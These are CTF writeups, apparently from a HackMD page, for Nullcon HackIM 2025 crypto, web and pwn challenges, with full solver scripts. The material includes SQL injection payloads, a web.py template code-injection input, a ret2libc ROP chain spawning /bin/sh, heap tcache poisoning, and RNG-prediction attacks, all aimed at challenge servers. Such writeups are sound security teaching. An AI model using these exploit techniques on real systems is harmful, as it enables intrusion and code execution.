Try   HackMD

Nullcon Goa HackIM 2025 CTF Writeups

CRYPTO

kleinvieh

We are given strange = phi^2 = (pq - p - q + 1)^2 = (p + q - 1)^2 (mod n). As the difference between (p + q - 1)^2 and strange is small multiples of n, we can bruteforce the difference to recover (p + q - 1)^2 and square root, then calculate phi to recover the flag.

from math import isqrt
from Crypto.Util.number import long_to_bytes

n = 123478096241280364670962652250405187135677205589718111459493149962577739081187795982860395854714430939628907753414209475535232237859888263943995193440085650470423977781096613357495769010922395819095023507620908240797541546863744965624796522452543464875196533943396427785995290939050936636955447563027745679377
c = 77628487658893896220661847757290784292662262378387512724956478473883885554341297046249919230536341773341256727418777179462763043017367869438255024390966651705078565690271228162236626313519640870358976726577499711921457546321449494612008358074930154972571393221926233201707908214569445622263631145131680881658
strange = 11519395324733889428998199861620021305356608571856051121451410451257032517261285528888324473164306329355782680120640320262135517302025844260832350017955127625053351256653287330703220294568460211384842833586028123185201232184080106340230097212868897257794101622865852490355812546172336607114197297201223620901

for i in range(10):
    pq1_sq = strange + i * n
    pq1 = isqrt(pq1_sq)
    if pq1 ** 2 == pq1_sq:
        print(f'{i = }')      
        phi = n - pq1
        d = pow(65537, -1, phi)
        flag = pow(c, d, n)
        print(long_to_bytes(flag))
        break

many caesars

We can bruteforce shift of each word (separated by _, , and .) then choose the most meaningful words for each word. The corresponding shift of each word reveal part of the flag.

import string

def caesar(msg, shift):
    return ''.join(chars[(chars.index(c) - shift) % len(chars)] for c in msg)

chars = string.ascii_letters + string.digits + '+/='
ct = "AtvDxK lAopjz /i + vhw c6 uwnshnuqjx ymfy kymhi Kyv 47+3l/eh Bs kpfkxkfwcnu Als 9phdgj9 +ka ymzuBGxmFq 6fdglk8i CICDowC, sjxir bjme+pfwfkd 6li=fj=kp, nCplEtGtEJ, lyo qeb INKLNBM vm ademb7697. ollqba lq DitCmA xzhm fx ef7dd7ii, wIvv eggiww GB kphqtocvkqp, 3d6 MAx ilsplm /d rpfkd vnloov hc nruwtAj xDxyjrx vexliv KyrE +3hc Gurz, jcemgt ixlmgw 9f7gmj5/9k obpmlkpf/ib mzp 8k/=64c ECo sj qb=eklildv. =k loGznlEpD qzC qo+kpm+obk=v, vHEEtuHKtMBHG, huk h7if75j/d9 mofs+=v, zkloh lqAkwCzioqvo rfqnhntzx fhynAnynjx b/a7 JKvrCzEx hexe BE ecwukpi 63c397. MAxLx wypujpwslz 3/c ql irvwhu 9bbcj1h9cb fsi f tswmxmzi zDGrtK ed FBpvrGL vjtqwij ixlmgep 5f8 =lkpqor=qfsb tmowuzs."
ct = ct.replace(' ', ']').replace(',', ']').replace('.', ']')

ct = ct.split(']')
ct = [x for x in ct if x != '']

for block in ct:
    for i in range(len(chars)):
        val = caesar(block, i)
        if any(x not in string.ascii_lowercase for x in val[1:]):
            continue
        if val[0] not in string.ascii_letters:
            continue
        print(val, chars[i])
    print()
    
# th3_d1ffer3nce5_m4ke_4ll_th3_diff3renc3

next-level

This is an RSA with n being the product of 3 consecutive primes. We can approximate the prime taking cube root of n, and recover all the primes close to it.

from gmpy2 import iroot from Crypto.Util.number import * n = 842955733372614455917139215149786367998989408483882136463558684397050826784554405473281404986074268847665022114356876291445365131548244366599468837778869392604574977016160648076231535588793673536845344975989305317758463762079207183948812779114263906518115672167636134526515103825946273073248648502935673944006264386299102933514541941431848389105755893385245141801018951632390644713514409554482089598460289338073545880196262116013551058638687812839058426467147481 c = 178911853582925091074953906180040707693867299041184394859091151823053279374040732087994928027427055516599491017237986483811850621047816908739709787556523375563298051776181108938835938016314409519090707332840179868647993861754529706055629293586699860402875976104999357565613123187491160887851461728095157125430360026065237722011165355477193299183616800218141392989153891385907169749132280406008273086286095580797819646823785791242488773862940145882627972745288524 pp = iroot(n, 3)[0] primes = [] for i in range(-10000, 10000): p = pp + i if n % p == 0: primes.append(p) assert len(primes) == 3 p,q,r = primes phi = (p-1)*(q-1)*(r-1) e = 65537; d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))

registration

We collect multiple messages and signatures, then find small linear combination of these messages via LLL to forge a signature.

from sage.all import * from hashlib import sha256 from Crypto.Util.number import long_to_bytes, bytes_to_long from pwnlib.tubes.remote import remote from pwnlib.tubes.process import process io = remote('52.59.124.14', 5026) n = int(io.recvline().decode().strip().split()[-1]) a = int(io.recvline().decode().strip().split()[-1]) e = int(io.recvline().decode().strip().split()[-1]) msgs, sigs = [], [] for _ in range(80): print(f'{_ = }') io.sendlineafter(b'> ', b'1') msg = bytes.fromhex(io.recvline().decode().strip().split()[-1]) msg = bytes_to_long(sha256(msg).digest()) sig = int(io.recvline().decode().strip().split()[-1]) msgs.append(msg) sigs.append(sig) io.sendlineafter(b'> ', b'2') msg = bytes.fromhex(io.recvline().decode().strip().split()[-1]) msg = bytes_to_long(sha256(msg).digest()) L = block_matrix(ZZ, [ [identity_matrix(len(msgs)), column_matrix(msgs)], [0, msg] ]) for row in L.LLL(): if row[-1] != 0: continue v1 = vector(ZZ, row[:-1]) v2 = vector(ZZ, msgs) val = v1 * v2 if val not in [-msg, msg]: continue if val == -msg: row = [-int(x) for x in row] print(f'{row = }') target_sig = prod([pow(x, y, n) for x, y in zip(sigs, row[:-1])]) target_sig %= n print(pow(target_sig, e, n), pow(a, msg, n)) io.sendlineafter(b': ', str(target_sig).encode()) io.interactive() break

kleinvieh_2

This is a combination of 5 smaller RSA challenges. The vulnerability and solution for each part is:

  1. c1 = m1^3 is smaller than n, so we can recover m1 by taking cube root of c1,
  2. c2 = (m2 * r)^3, so we can recover m2^3 = c2 * r^(-3), then take cube root to find m2,
  3. c3 = (m3 * 256^493)^3, the same as problem 2,
  4. c4 = (m3 * r2)^3 where r2 = 1 + 256^18 + 256^36 + ... + 256^486, same as problem 2,
  5. c5 = (m0 * 256^17 + m5)^3 where m0 = bytes_to_long(b'\x42' * 494) and m5 is only 17 bytes, so use Coppersmith to recover m5.
from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes from sage.all import * def fr(x, n): return Integer(x).nth_root(n, truncate_mode=True)[0] with open('pubkey.pem', 'rb') as f: key = RSA.import_key(f.read()) n, e = key.n, key.e with open('output', 'r') as f: cts = list(map(int, f.read().splitlines())) c1, c2, c3, c4, c5 = cts m1 = long_to_bytes(fr(c1, 3)) print(m1) r = 688234005348009046360676388021599552323079007705479727954148955984833460337936950913921276804334830417982234720038650432729780498514155995618937412575604196815690605161835755609341381092145548153312943119696398326144902639226831471200542337105282064399184931676924592908530791494346900227871404063095592748764296028255530577278656680463782655139421219302422899667665339277824718421901831817043159552132252016945226370677278067424506514993298100924479619565269428391036310378044733517453768164252655931111202089432697078947184486267865943138659836155939343134738408972426979329158506027280653209318479413895259774319848662706808171929571545923310500352950348748809789292920278241362015278963315481777028997344480172010960294002098578989469089294022590134823913936869548907125294447477430739096767474026401347928008150737871869441842515706902681140123776591020038755234642184699856517326004574393922162918839396336541620212296870832659576195010466896701249003808553560895239860454162846759635434691728716499056221797005696650174933343585361153344017021747827389193405667073333443569659567562247406283282451284155149780737904760989910944550499316655128394899229284796584787198689342431338201610314893908441661953172106881929330452489260 r_cubed = pow(r, 3, n) inv_r_cubed = pow(r_cubed, -1, n) m2_cubed = (c2 * inv_r_cubed) % n m2 = long_to_bytes(fr(m2_cubed, 3)) print(m2) m3 = c3 * pow(256, -(511 - 18) * 3, n) % n m3 = long_to_bytes(fr(m3,3)) print(m3) step = 256 ** 18 t = step k = 1 for i in range(27): k += step step = step * t % n k %= n m4 = c4 * pow(k, -3, n) % n m4 = fr(m4, 3) m4 = long_to_bytes(m4) print(m4) P = PolynomialRing(Zmod(n), 'x') x = P.gen(0) f = (bytes_to_long(b'\x42' * 494) * 256 ** 17 + x) ** 3 - c5 m5 = long_to_bytes(int(f.small_roots(X = 256 ** 17, epsilon = 0.1)[0])) flag = m1 + m2 + m3 + m4 + m5 print(flag)

coinflip

We can recover multiples of m by getting 3 consecutive states s0, s1, s2 => k * m = s0 ** 3 * s2 - s1 ** 4. By constantly sending head, praying to get 4 consecutive states, we can firmly recover m = gcd(s0 ** 3 * s2 - s1 ** 4, s1 ** 3 * s3 - s2 ** 4). Then a = s1 * s0 ^ -3 (mod m). After that we can know the next state of RNG, bet all the money each time and get the flag.

from pwnlib.tubes.remote import remote from math import gcd from Crypto.Util.number import bytes_to_long, getRandomNBitInteger import math import os class CRG(object): def __init__(self, n): self.n = n self.m = getRandomNBitInteger(n) while True: self.a = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes if math.gcd(self.a, self.m) == 1: break while True: self.state = bytes_to_long(os.urandom(n >> 3)) % self.m # n/8 bytes if math.gcd(self.state, self.m) == 1: break self.buffer = [] def next(self): if self.buffer == []: self.buffer = [int(bit) for bit in bin(self.state)[2:].zfill(self.n)] self.state = self.a * pow(self.state, 3, self.m) % self.m return self.buffer.pop(0) while True: io = remote("52.59.124.14", 5032) bits = [] try: for _ in range(256): line = io.recvuntil(b')', timeout=1) balance = int(line.decode().strip().split()[-1][:-1]) if line == b'': break io.sendline(b'1') io.sendlineafter(b'?\n', b'head') if b'win' in io.recvline(): bits.append('0') else: bits.append('1') break except EOFError: print(f'{_ = }') io.close() continue s1 = int(''.join(bits[:64]), 2) s2 = int(''.join(bits[64:128]), 2) s3 = int(''.join(bits[128:192]), 2) s4 = int(''.join(bits[192:]), 2) m = gcd(s1 ** 3 * s3 - s2 ** 4, s2 ** 3 * s4- s3 ** 4) print(f'{balance = }') print(m.bit_length()) print(m) crg = CRG(64) crg.m = m crg.a = s2 * pow(s1, -3, m) % m crg.state = (crg.a * pow(s4, 3, m)) % m coin = [b'head',b'tails'] for _ in range(30 - int(math.log2(balance))): line = io.recvuntil(b')') balance = int(line.decode().strip().split()[-1][:-1]) print(f'{balance = }') io.sendline(str(balance).encode()) io.sendlineafter(b'?\n', coin[crg.next()]) io.recvline() io.interactive()

Matrixfun

Data from pcap:
image

Then problem can be simplified as below.

import numpy as np from numpy._typing import NDArray from gmpy2 import mpz from typing import Any def mpow(a: NDArray[Any], e: int, p: mpz): n = a.shape[0] c: NDArray[Any] = np.identity(n, dtype=object) // mpz(1) for i in range(e.bit_length(), -1, -1): c = (c @ c) % p if e & (1 << i): c = (c @ a) % p return c p = 15021738631187083129 G = [[8250369131483783446, 7636514724226618982, 13561904710751379340, 8146037206883500564], [4902910229653653467, 12309994425856150343, 6519431793637084561, 826765390730273580], [2293357986500986599, 3690712216774893256, 11221411595572149696, 6189443780743823928], [4526003812557694577, 7070010165244546540, 2773849016628162168, 2528664545234724542]] gorder = 48565318389923 A = [[7124857170442510436, 7098435244666432569, 5016319597248544408, 3368576660349080409], [12766102894582816521, 1075168896515869195, 14940230223165707555, 13504245377824841154], [11005568719346427939, 6351117183900723198, 10504073690105660358, 765373031704381609], [4023860825601216122, 3960044495923291791, 14945314474664374706, 7318239600236598642]] B = [[1282048969185546964, 12109372559076385336, 11131078763121815969, 8203066951109241796], [13898425777031025196, 3180683801097577414, 4159815335494956274, 12490188080505436469], [14804946988255087504, 14855384714399608402, 3036218738870877096, 2244875398266900486], [11575966103907984574, 12991978517385440219, 8781891936464379787, 3191347143541874873]] iv = bytes.fromhex('b90605c70dc5e0d4d2ab458c93ca3e2c') cipher = bytes.fromhex('d772586e1e1ff88b5fbdc2a2f742d6c8fc517acc1d76ce38052db1aa266850cd264232b7d90d283a1d237a6f97d6558f')

We have:

A=Ga or B=Gb

Where

G is a generator matrix and
A
,
B
are the public matrices.

To decrypt the cipher text we need to find

a. Its a discrete logarithm problem in
GL(n,p)
which is a group of invertible
n×n
matrix over
GF(p)
.

The order is 46 bits , so dlog easily found using baby step gaint step algorithm.

a = 14694400667272

Now decrypt:

Key = mpow(B, a, p)

Decrypt the AES with this shared key to get the flag.

odd-bacon

Key is hardcoded, so we can just use the C impelmentation of SpeckCipher and multithreading to brute force all 2^32 possibilities of k1 super fast and recover k2 along with it.

#include "speck.h" #include <stdio.h> #include <pthread.h> #include <stdlib.h> #define NUM_THREADS 20 // Number of threads to use #define GOAL_AAAA 0x0edb0e75 // replace this after connecting to remote #define GOAL_BBBB 0x92746e5c // replace this after connecting to remote #define GOAL_CCCC 0xa0ad757a // replace this after connecting to remote #define AAAA_INT 0x41414141 #define BBBB_INT 0x42424242 #define CCCC_INT 0x43434343 static SimSpk_Cipher speck; uint8_t init_speck() { uint8_t IV[] = {0, 0, 0, 0}; uint8_t counter[] = {0, 0, 0, 0}; uint64_t u64_key = 0x0123456789abcdef; uint8_t *speck64_32_key = (uint8_t*)&u64_key; return Speck_Init(&speck, cfg_64_32, ECB, speck64_32_key, IV, counter); } void F(const uint8_t *block, uint8_t *out) { Speck_Encrypt(speck, block, out); } typedef struct { uint64_t start; uint64_t end; int thread_id; } ThreadData; void* thread_func(void* arg) { ThreadData* data = (ThreadData*)arg; uint8_t ciphertext_buffer[16]; for (uint64_t i = data->start; i < data->end; ++i) { uint8_t* buf = (uint8_t*)&i; F(buf, ciphertext_buffer); uint32_t expected_k1 = (uint32_t)i ^ AAAA_INT; uint32_t expected_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_AAAA; uint32_t expected_bbbb_xor = BBBB_INT ^ expected_k1; buf = (uint8_t*)&expected_bbbb_xor; F(buf, ciphertext_buffer); uint32_t result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_BBBB; if (result_k2 != expected_k2) continue; uint32_t expected_cccc_xor = CCCC_INT ^ expected_k1; buf = (uint8_t*)&expected_cccc_xor; F(buf, ciphertext_buffer); result_k2 = *(uint32_t*)(&ciphertext_buffer) ^ GOAL_CCCC; if (result_k2 == expected_k2) { FILE* fp = fopen("FOUND.txt", "w"); fprintf(fp, "FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2); printf("FOUND! k1=%#x k2=%#x\n", expected_k1, expected_k2); fclose(fp); pthread_exit(NULL); } /*if (i % 0x100000 == 0) { printf("Thread %d at %#lx (%.2f%%)\n", data->thread_id, i, (i - data->start) * 100.0 / (data->end - data->start)); }*/ } printf("Thread %d done\n"); // fclose(fp); pthread_exit(NULL); } int main(void) { init_speck(); pthread_t threads[NUM_THREADS]; ThreadData thread_data[NUM_THREADS]; uint64_t range = UINT32_MAX / NUM_THREADS; for (int i = 0; i < NUM_THREADS; ++i) { thread_data[i].start = i * range; thread_data[i].end = (i + 1) * range; thread_data[i].thread_id = i; pthread_create(&threads[i], NULL, thread_func, (void*)&thread_data[i]); } for (int i = 0; i < NUM_THREADS; ++i) { pthread_join(threads[i], NULL); } return 0; }

WEB

Bfail

Bcrypt default only handles data up to 72 characters. Since the author give us 71 characters we just need to bruteforce 1 more character

import bcrypt import urllib.parse ADMIN_PW_HASH = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK' a = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76' for i in range(0, 256): password = a + bytes([i]) if bcrypt.checkpw(password, ADMIN_PW_HASH): print(urllib.parse.quote(password)) break #ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}

Crahp

The challenge wants a password such that:

  • password != "AdM1nP@assW0rd!"
  • crc16(password) == crc16("AdM1nP@assW0rd!")
  • crc8(password) == crc8("AdM1nP@assW0rd!")

Simply bruteforces the password using os.urandom(len("AdM1nP@assW0rd!")):

import os, requests

def crc16(string):
    crc = 0xFFFF
    for char in string:
        crc = crc ^ char
        for _ in range(8):
            if (crc & 0x0001) == 0x0001:
                crc = ((crc >> 1) ^ 0xA001)
            else:
                crc = crc >> 1
    return crc

def crc8(input_data):
    crc8_table = [
        0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
        0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
        0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
        0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
        0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
        0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
        0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
        0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
        0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
        0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
        0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
        0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
        0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
        0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
        0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
        0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
        0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
        0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
        0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
        0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
        0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
        0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
        0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
        0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
        0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
        0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
        0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
        0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
        0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
        0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
        0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
        0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
    ]
    byte_array = input_data
    crc = 0
    for byte in byte_array:
        crc = crc8_table[(crc ^ byte) & 0xff]
    return crc & 0xff

admin_pass = b"AdM1nP@assW0rd!"
l = len(admin_pass)
target1 = crc16(admin_pass)
target2 = crc8(admin_pass)

while True:
    password = os.urandom(l)
    if crc16(password) == target1 and crc8(password) == target2:
        print(password)
        print(requests.post("http://52.59.124.14:5006/", data={"password": password}).text)
        break

image
Flag: ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}

Numberizer

Since there's a 4 letters limit for each number
image
Enter 1e19 so that it gets overflow to 9223372036854775807 (2 ^ 63 - 1)
Add 1 and it becomes 2 ^ 63 thus flipping the sign bit and we get a negative number -9223372036854775808
Submit [1e19, 1] and win a flag:
image
Flag: ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}

Sess.io

There are only 10 patterns that can be used as a seed for mt_srand. Use the following code to get all the values for session ID.

import hashlib import string import requests URL = "http://52.59.124.14:5008/" s = requests.session() d = {} for c in string.ascii_letters: hash = hashlib.md5(f'y{c}'.encode()).hexdigest() if hash[0] not in '6' or hash[0] in d: continue data = { "username": "y", "password": c } r = s.post(URL, data=data) print(r.status_code) d[hash[0]]=s.cookies['PHPSESSID'] print(d)

Then, brute all 4 letters to find the content.

<?php define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-")); $target = 'a-jtqk69cb'; $alphas = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~"; $chars = str_split($alphas); $len = count($chars); for ($i = 0; $i < $len; $i++) { echo $chars[$i]. "\n"; for ($j = 0; $j < $len; $j++) { for ($k = 0; $k < $len; $k++) { for ($l = 0; $l < $len; $l++) { $x = $chars[$i] . $chars[$j] . $chars[$k] . $chars[$l]; mt_srand(intval(bin2hex($x),16)); $id = ""; for($m=0;$m<10;$m++) { $id .= ALPHA[mt_rand(0,count(ALPHA)-1)]; } if ($id == $target) { echo $x. "\n"; echo $target . "\n"; break; } } } } } # ENO{SOME_SUPER_SECURE_FLAG_1333337_H

Temptation

Since the server use web.py lib and that lib has a option that execute code we can use this to manipulate the data return when the template is rendered

import web import urllib.parse temptation = """ $code: return "F"+"LAG" """ print(urllib.parse.quote(temptation)) try: temptation = web.template.Template(f"Your temptation is: {temptation}")() print(temptation) except Exception as e: print(e) #ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

Paginator

SQL injection in $max and $min variables simply set min=2-1 and max=10
The payload would be like this p=2-1,10

Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}

Paginator v2

Use blind SQL injection to determine the table name, table schema. Then, becuase there are only 2 fields in flag table, use UNION SELECT * FROM flag to get the flag.

import requests import string URL = "http://52.59.124.14:5015/" s = requests.session() def query(q: str,s): print(q) x = f"2 AND {q}" r = s.get(URL, params={ "p": "2," + x }) return "Page 2" in r.text # known = "" # while True: # for c in string.printable: # # cur = (known + c).replace("_", "\\_").replace("%", "\\%") # cur = (known + c) # if query(f"(SELECT count(*) FROM sqlite_master WHERE tbl_name ='flag' AND sql LIKE '{cur}%')>0", s): # print(cur) # known = known + c # break r = s.get(URL, params={ "p": "2,2 UNION SELECT * FROM flag" }) print(r.text)

ZONEy

dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX

; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 ZONEy.eno MX
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2161
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ZONEy.eno.                     IN      MX

;; ANSWER SECTION:
ZONEy.eno.              7200    IN      MX      10 challenge.ZONEy.eno.

;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.

;; ADDITIONAL SECTION:
challenge.ZONEy.eno.    7200    IN      A       127.0.0.1
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1

;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 18:52:45 IST 2025
;; MSG SIZE  rcvd: 148
dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC

; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 challenge.ZONEy.eno NSEC
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31579
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;challenge.ZONEy.eno.           IN      NSEC

;; ANSWER SECTION:
challenge.ZONEy.eno.    86400   IN      NSEC    hereisthe1337flag.zoney.eno. A RRSIG NSEC

;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.

;; ADDITIONAL SECTION:
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1

;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 19:18:00 IST 2025
;; MSG SIZE  rcvd: 165
dig @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt

; <<>> DiG 9.20.4-3-Debian <<>> @ec2-52-59-124-14.eu-central-1.compute.amazonaws.com -p 5007 hereisthe1337flag.zoney.eno txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18707
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;hereisthe1337flag.zoney.eno.   IN      TXT

;; ANSWER SECTION:
hereisthe1337flag.zoney.eno. 7200 IN    TXT     "ENO{1337_Fl4G_NSeC_W4LK3R}"

;; AUTHORITY SECTION:
zoney.eno.              7200    IN      NS      ns1.zoney.eno.
zoney.eno.              7200    IN      NS      ns2.zoney.eno.

;; ADDITIONAL SECTION:
ns1.zoney.eno.          7200    IN      A       127.0.0.1
ns2.zoney.eno.          7200    IN      A       127.0.0.1

;; Query time: 170 msec
;; SERVER: 52.59.124.14#5007(ec2-52-59-124-14.eu-central-1.compute.amazonaws.com) (UDP)
;; WHEN: Sat Feb 01 19:20:07 IST 2025
;; MSG SIZE  rcvd: 163

PWN

hateful

simple ret2libc overflow. first there is a formatstring bug which i used to leak got.printf
then used the subsiquent bufferoverflow to system("/bin/sh")

#!/bin/python3

from pwn import *
context.arch = 'amd64'

elf = ELF("./hateful_patched")
rop = ROP(elf)

# gadgets

# payload
pld = b"%7$sABCD"+ pack(elf.symbols['got.printf'])
p = process("./hateful_patched")
p.sendlineafter(b"nay)\n", b"yay")

p.sendlineafter(b">> ", pld)

p.recvuntil(b"email provided: ")
data = p.recvuntil(b"ABCD")[:-4]
printf_leak = u64(data.ljust(8, b'\x00'))
log.info(f"printf leak: {hex(printf_leak)}")

# libc leak
libc = ELF("./libc.so.6")
libc.address = printf_leak - libc.symbols['printf']
log.info(f"libc leak: {hex(libc.address)}")


# 0x0000000000086570: pop rdi; ret;
# 0x0000000000026e99: ret;


chain = [
    libc.address + 0x0000000000086570, # pop rdi; ret;,
    libc.search(b"/bin/sh").__next__(), # arg1
    libc.address + 0x0000000000026e99, # ret;  # align stack
    libc.symbols['system'] # ret2libc
]

pld = b"A"*0x3f0 + b"B"*8 + b"".join([pack(x) for x in chain])
p.sendlineafter(b"!\n", pld)

# system leak
p.interactive()

hateful2

there was a stack leak provided for us for free in the challenge it was probabily not needed and i think i ended up taking the longer route due to this. so we have a use after bug that allows us to read and write to heap chunks even after they are free.

  1. get a libc leak by freeing a large chunk
  2. setup a double free to inject a fake chunk inside the tcache
  3. the fake chunk is on stack that allowed us to overwrite stack data
  4. system("/bin/sh")
solver.start()
menu(0)
pr("up to ")
line = pr().decode("latin")
stack = int(line.split(" ")[0])

solver.stack_leak = stack

large_chunk = malloc(0x800)
guard = malloc(0x28)
free(large_chunk)


libc_leak = read(large_chunk)
large_chunk = malloc(0x800)

libc_leak = solver.dpaddr(libc_leak, 0, True) - 0x240

solver.libc.init_base(libc_leak, "_IO_2_1_stdin_")

c1 = malloc(0x108)
c2 = malloc(0x108)
c3 = malloc(0x108)


free(c1)
free(c2)


data = read(c1).decode("latin")
heap_key = solver.dpaddr(data, 0, True)
heap_leak = heap_key * 0x1000
print(hex(heap_leak))

stack = solver.stack_leak
stack += -4 + 0x10

edit(c2, pack(stack ^ (heap_key)))




c2_2 = malloc(0x108)

print(hex(stack))
chain = [
    pack(libc.gadgets("pop rdi;ret")),
    pack(libc.binsh),
    pack(libc.gadgets("ret",200)),
    libc.symP("system")
]

pld = b"AAAAAAAA" + b"".join(chain)
# input()
stack_leak = malloc(0x108, pld, raw=True)

image

Mr Unlucky

This is an ELF requiring guessing the correct hero out of 20 heros for 50 times. Since it uses the c random with current time as the seed, we can set the seed and predict the exact random number generated and thus the hero.

from pwn import * import time from ctypes import CDLL from ctypes.util import find_library libc = CDLL(find_library("c")) # Set up pwntools for the correct architecture exe = './mr_unlucky' # This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=False) # Change logging level to help with debugging (error/warning/info/debug) context.log_level = 'debug' context.terminal = "cmd.exe /c start wsl".split() heroes = [ "Anti-Mage", "Axe", "Bane", "Bloodseeker", "Crystal Maiden", "Drow Ranger", "Earthshaker", "Juggernaut", "Mirana", "Morphling", "Phantom Assassin", "Pudge", "Shadow Fiend", "Sniper", "Storm Spirit", "Sven", "Tiny", "Vengeful Spirit", "Windranger", "Zeus", ] io = remote('52.59.124.14', 5021) io.recvuntil(b'me guess the names?') libc.srand(int(time.time())) for _ in range(50): name = heroes[libc.rand() % 20] io.sendlineafter(b'!!!): ', name.encode()) print(io.recvall()) io.close()

wasmup

